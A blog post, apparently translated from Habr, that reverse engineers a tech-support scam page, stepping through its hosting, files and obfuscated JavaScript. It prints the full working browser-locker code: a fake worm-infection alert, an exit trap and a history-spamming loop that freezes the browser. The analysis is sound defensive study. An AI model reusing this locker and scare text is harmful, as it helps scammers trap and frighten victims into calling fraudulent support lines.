📜 ⬆️ ⬇️

Reverse engineering malicious fraud script


A few days ago I was surfing the net and went to a site with malicious ads. Although such banner ads are not uncommon, this managed to penetrate the AdBlocker protection and immediately redirect me to a site that looked like this .


In the speakers it sounded loud, and the mechanical voice announced that my computer was infected and I would lose all my data if I did not call Microsoft technical support. The modal form did not allow me to leave the site, the address panel began to grow, and in the end the browser hung. Impressive performance!


Of course, the computer was not infected with anything. The RDN / YahLover.worm, which was linked to from the site, turned out to be a fiction, part of the toolkit of online scammers trying to convince their victims that computers are infected with a virus and can only be cleared during a call to a free hotline. A “Microsoft Certified” phone specialist will “repair” the infected computer and / or persuade the user to install a real malware. On malwarebytes there is a good selection of such fraudulent schemes found on the web.


Since I know a little about computers, I didn’t even try to call the hotline. Even if I wanted to, it would be difficult: the fraudster forgot to specify the phone number. But I still felt anxious: the browser was completely frozen, and it is possible that the site had an exploit for Chrome, through which the malware was hooked into my system. To reassure myself (and satisfy curiosity), I decided to study the internal scheme of the fraudulent site.


Determining the origin of the site


In this case, the fraudster did not steal with the registration of the domain name, he redirected his victims directly to the IPv4 address. To my surprise, a search by geographic address binding showed that the server is located in the United States, and not in a country with freer Internet legislation:


image


The site was hosted by DigitalOcean, a popular cloud provider. It seems that even fraudsters are conquered by the power of the Cloud! Fortunately, DigitalOcean has an email address for complaints, and I contacted them about this site. At the time of this writing, I have not yet responded, but they probably will take action.


Site analysis


By notifying DigitalOcean, I took up the site itself. I wanted to make sure that my computer was not compromised, besides curiosity tormented me, how the fraudulent site was arranged.


First, I downloaded a copy of it to explore it in a relaxed atmosphere. Since browsers have the nasty habit of rendering and executing all the sites they receive, in order to download a copy, I had to switch to wget . Surprisingly, it did not work: a direct call to wget hung in the void. After several attempts, I realized that the problem was the user agent: a short portion of the data sent to the server by the HTTP client, which states which software communicates with it. By default, wget shows itself to the server as Wget/1.19.1 . And what if you pretend to be Chrome? wget allows you to edit the user agent, try this option:


Mozilla / 5.0 (Windows NT 5.1) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 41.0.2224.3 Safari / 537.36


And the server sent back the required data. Not sure what it was: a consequence of a failed analysis or a standard measure of protection against robots, but in any case it is curious.


The site had a surprisingly simple structure:


 ├── files │ ├── defender.png │ ├── fake_close.png │ └── Texts.mp3 └── index.html 

defender.png is the Microsoft logo, it makes the website convincing. fake_close.png used in the background message as a close icon. And, as the name suggests, it actually doesn't work:


image


Texts.mp3 is an audio file created by a speech generator. He warns of the terrible consequences of leaving the site and refusing to call a fraudulent support service. At first, I suggested that the site used an unknown browser-based speech-generating function, but it turned out that this is a simple mp3 enclosed in HTML5 audio tag. You can listen to it yourself .


Poking around in the source code


The index.html file starts like this:


 <!-- Works on Chrome and FF --> <!DOCTYPE html> <html> <head> <meta name="robots" content="noindex, nofollow"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Security Warning</title> <meta name="robots" content="NOINDEX,NOFOLLOW"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"> </script> 

There are some interesting points. Most of the code is open and well formatted. The author even left a useful comment that the code was tested on Chrome and Firefox. Also, the author does not want the site to be indexed by search engines. So much so that he added the robots meta tag twice. Finally, the inclusion of jQuery indicates that the author is an experienced web developer, especially since no JS script on the site uses jQuery. The version of a year and a half ago is mentioned here.


Next comes about 130 lines of standard HTML and inline CSS to create a blue background message with a fake window. All the most interesting is at the end of the file. First up is the Google Analytics tracking script:


 <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-99222626-1', 'auto'); ga('send', 'pageview'); </script> 

This is only an assumption, but I think that this is how a fraudster measures the amount of traffic coming to the site, and perhaps even the conversion of visitors into telephone calls.


The most interesting JS lies in the basement of the site. It is intentionally confused and, apparently, is responsible for the behavior of the site. Take a look:


 var text = '*************************************************\nInternet Security Alert! Code: 055BCCAC9FEC\n ************************************************* \n\nInternet Security Alert: Your Computer Might Be Infected By Harmful Viruses \nPlease Do Not Shut Down or Reset Your Computer.\n\nThe following data might be compromised if you continue:\n1. Passwords\n2. Browser History\n3. Credit Card Information\n4. Local Hard Disk Files\n\nThese viruses are well known for identity and credit card theft. Further action on this computer or any other device on your network might reveal private information and involve serious risks.\n\n Call Windows Technical Support: (Toll Free)'; var _0x45bf=['\x70\x75\x73\x68\x53\x74\x61\x74\x65','\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a','\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65','\x6f\x6e\x6c\x6f\x61\x64','\x74\x6f\x53\x74\x72\x69\x6e\x67'];(function(_0x5954e7,_0x10ca6d){var _0x4d8f25=function(_0x3abcd2){while(--_0x3abcd2){_0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']());}};_0x4d8f25(++_0x10ca6d);}(_0x45bf,0x145));var _0xf45b=function(_0xc97b12,_0x180ff3){_0xc97b12=_0xc97b12-0x0;var _0x2933ba=_0x45bf[_0xc97b12];return _0x2933ba;};function ch(_0x454dc6){window[_0xf45b('0x0')]=function(_0x4a502f){var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6;_0x4a502f[_0xf45b('0x2')]=_0x2e1ee7;return _0x2e1ee7;};window[_0xf45b('0x3')]=function(){if(confirm('\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a'+_0x454dc6)){var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}else{var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}};}ch(text); 

Script decryption


Divide it into parts. The first part is the plaintext displayed in a popup dialog box. It’s probably easy to edit the message if desired (for example, by adding a phone number).


Then comes the message text in the form of a string array. We divide into lines and see what we are dealing with:


 var _0x45bf = [ '\x70\x75\x73\x68\x53\x74\x61\x74\x65', '\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64', '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' + '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' + '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72' + '\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e' + '\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' + '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' + '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a', '\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65', '\x6f\x6e\x6c\x6f\x61\x64', '\x74\x6f\x53\x74\x72\x69\x6e\x67' ]; 

These are exactly string values, but at first glance the text looks like rubbish. The fact is that each character is encrypted using a Unicode escape sequence. The JS interpreter joyfully sends them off and turns them into symbols again, but for people it is not such an easy task. A bit of Python code, and you can decrypt these lines:


 var _0x45bf = [ 'pushState', 'onbeforeunload', '*************************************************\n' + 'RDN/YahLover.worm!055BCCAC9FEC Infection\n' + '*************************************************\n\n', 'returnValue', 'onload', 'toString' ]; 

These are the names of JS-functions, as well as the name of a fictitious malware. I must say that the script uses very clever variable names like _0x45bf , which makes analysis difficult. This format was chosen on purpose so that the names look like hexadecimal constants, but these are only identifiers: the _ sign in the beginning indicates that they are parsed by the JS interpreter. Next, I will rename these identifiers to more readable ones based on approximate assumptions about their purpose.


An immediately called anonymous function follows an array of string values:


 (function(_0x5954e7,_0x10ca6d){ var _0x4d8f25 = function(_0x3abcd2) { while(--_0x3abcd2) { _0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']()); } }; _0x4d8f25(++_0x10ca6d); }(_0x45bf,0x145)); 

I formatted the script again to make it readable.


As you can see, hiding variable names is used again. There are many expressions like _0x5954e7['\x70\x75\x73\x68']() (after conversion: list['push']() ). These are actually method calls. The peculiarity of JS is that its objects are in many ways similar to dictionaries, and the call of the form foo['bar']() completely analogous to foo.bar() . Although the first version is correct, you rarely see it in regular JS code, so it works as an additional level of obfuscation.


After renaming variables, decrypting string values, and converting method calls, a more readable version of the code turned out:


 (function(list, N) { var rotateList = function(NplusOne) { while(--NplusOne) { list.push(list.shift()); } }; rotateList(++N); }(stringList, 325)); 

The main purpose of this function is to shuffle the list of string values ​​above. In the inner loop, list.push(list.shift()) is called several times. In JS shift removes the front element of the list, and push adds it to the end. In other words, one iteration of the loop simply swaps all the records one position to the left.


The called function is applied to the string list and converts it 325 times. Since the list contains six elements, then every six iterations we get the original list. 325 mod 6 = 1 means that this part of the code just shifts the string values ​​one position to the left. Then the list looks like this:


 var shuffledStringList = [ 'onbeforeunload', wormName, 'returnValue', 'onload', 'toString', 'pushState' ]; 

For simplicity, I have omitted the line identifying the malware as wormName .


After mixing, the script determines the following function:


 var _0xf45b=function(_0xc97b12,_0x180ff3) { _0xc97b12=_0xc97b12-0x0; var _0x2933ba=_0x45bf[_0xc97b12]; return _0x2933ba; }; 

It's funny that wherever possible, hexadecimal constants are used, even when it is completely meaningless. For example, 0x0 .


Take a look at the decoded version:


 function indexStringList(idx) { idx = idx - 0; var result = shuffledStringList[idx]; return result; }; 

The function is simple: it only returns a record with a specific index from the shuffledStringList array. For additional obfuscation, the index is passed as a string value and is converted to a number using the expression idx = idx - 0; . This works because of the JS property such as automatic conversion of string to decimal values ​​when used in arithmetic operations.


Then comes the main input function of the script. After reformatting we get:


 function ch(_0x454dc6){ window[_0xf45b('0x0')] = function(_0x4a502f){ var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6; _0x4a502f[_0xf45b('0x2')]=_0x2e1ee7; return _0x2e1ee7; }; window[_0xf45b('0x3')] = function() { if(confirm(wormName+_0x454dc6)){ var _0x5a0f53=''; for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) { _0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')](); history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53); } } else { var _0x5a0f53=''; for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) { _0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')](); history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53); } } }; } ch(text); 

The first thing that catches your eye is an abundance of challenges like _0xf45b('0x0') . These are the calls to the indexStringList function, which we have already seen above. That is, they simply return values ​​from a mixed list of string values, so you can directly replace them with final values. _0xf45b('0x0') will turn into onbeforeunload , etc.


This part of the code also uses values ​​like window[_0xf45b('0x0')] , which are the hidden calls to the methods of the global window instance. Given these transformations, you can rewrite the code explicitly:


 function main(messageBody) { window.onbeforeunload = function(event) { var dialogText = wormName + messageBody; event.returnValue = dialogText; return dialogText; }; window.onload = function() { if (confirm(wormName + messageBody)) { var url = ''; for (var i = 0; i < 100000000; i++) { url = url + i.toString(); history.pushState(0, 0, url); } } else { var url = ''; for (var i = 0; i < 100000000; i++) { url = url + i.toString(); history.pushState(0, 0, url); } } }; } main(text); 

Now you can calculate what this JS script does. And he does three things:



After removing the obfuscation, we get a fairly simple script. It only delivers a frightening voice message and forces the user to stay on the site long enough to read the text (and, perhaps, make a phone call).


I am sure that this script could not launch a real malware into my computer. It also became clear why the browser hung up: Chrome does not digest too long URLs and history spamming.


Final thoughts


Although a fake support service cannot be completely equated with a full-fledged malicious attack, surprisingly much effort was invested in entangling the JS script on this site. The original code fits in less than 30 lines, a couple of hours went into reverse engineering. Given the simple structure of the site and pure code formatting, I assume that the script was written by someone well versed in web development. Probably, the author simply forgot to add a phone number so that his fraudulent scheme really worked. Either this is a critical oversight, or I came across an early test version of what would later turn into a full-fledged fraudulent site.


It is somewhat disappointing that only a small JS script is sufficient for its operation and that it is possible to make the browser completely inoperable, so much so that you cannot leave the site and you need to restart the application. Considering how many advertisements appear daily, it is very easy to hide 30 lines of code in it. It is strange that this does not occur much more often.


In any case, it was fun. The next time you find yourself on a fraudulent site, why not dig deeper into the code and see how it works? You can find out something interesting for yourself.


UPD. In the comments, the obfuscator was correctly identified - this is a link to Github , and Timothy Kachalov is involved in the development. Sanex3339


')

Source: https://habr.com/ru/post/336232/


All Articles